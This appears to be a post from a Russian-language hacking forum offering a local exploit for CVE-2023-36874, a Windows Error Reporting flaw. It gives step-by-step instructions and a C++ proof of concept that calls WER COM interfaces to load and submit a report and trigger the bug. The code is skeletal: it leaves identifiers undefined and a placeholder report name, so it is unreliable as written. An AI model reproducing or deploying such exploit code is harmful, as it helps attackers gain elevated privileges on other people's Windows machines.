• XSS.stack #1 – первый литературный журнал от юзеров форума

Local CVE-2023-36874

0x00x0

HDD-drive
Забанен
Регистрация
25.04.2022
Сообщения
48
Реакции
57
Гарант сделки
2
Депозит
0.009 Ł и др.
Пожалуйста, обратите внимание, что пользователь заблокирован
C-подобный:
# The exploit follows these steps to trigger the vulnerability:

    Initialize COM by calling CoInitialize(NULL).
    Create COM interfaces to interact with WER:
        Create an instance of CLSID_ERCLuaSupport to obtain an IErcLuaSupport interface.
        Use IErcLuaSupport to create an IWerStoreFactory instance.
        Create an IWerStore instance using IWerStoreFactory.
    Start the report enumeration process by calling pIWerStore->EnumerateStart().
    Load a report using pIWerStore->LoadReport function. Replace "ReportName" with the actual report name you want to exploit.
    Submit the loaded report to trigger the vulnerability by calling pIWerReport->SubmitReport().
    Release the COM interfaces and clean up the resources:
        pIWerReport->Release()
        pIWerStore->Release()
        pIWerStoreFactory->Release()
        pIErcLuaSupport->Release()
    Uninitialize COM by calling CoUninitialize().

PoC
C++:
#include <Windows.h>
#include <iostream>

int main() {
    // Initialize COM by calling CoInitialize(NULL).
    CoInitialize(NULL);

    // Create COM interfaces for interacting with WER:
    IWerReport* pIWerReport = nullptr;
    IErcLuaSupport* pIErcLuaSupport = nullptr;
    IWerStoreFactory* pIWerStoreFactory = nullptr;
    IWerStore* pIWerStore = nullptr;

    // Create an instance of CLSID_ERCLuaSupport to get an IErcLuaSupport interface.
    CoCreateInstance(CLSID_ERCLuaSupport, NULL, CLSCTX_LOCAL_SERVER, IID_IErcLuaSupport, (PVOID*)&pIErcLuaSupport);

    // Use IErcLuaSupport to create an IWerStoreFactory instance.
    pIErcLuaSupport->CoCreateIWerStoreFactory(&pIWerStoreFactory);

    // Create an IWerStore instance using IWerStoreFactory.
    pIWerStoreFactory->CoCreateIWerStore(&pIWerStore);

    // Exploit steps
    // Enumerate and start the report retrieval process by calling pIWerStore->EnumerateStart().
    pIWerStore->EnumerateStart();

    // Load a report using the pIWerStore->LoadReport function. Replace "ReportName" with the actual report name you want to exploit.
    pIWerStore->LoadReport(L"ReportName", &pIWerReport);

    // Submit the loaded report to trigger the vulnerability by calling pIWerReport->SubmitReport().
    pIWerReport->SubmitReport();

    // Clean up
    // Release the COM interfaces and clean up the resources.
    pIWerReport->Release();
    pIWerStore->Release();
    pIWerStoreFactory->Release();
    pIErcLuaSupport->Release();

    // Uninitialize COM by calling CoUninitialize().
    CoUninitialize();

    return 0;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх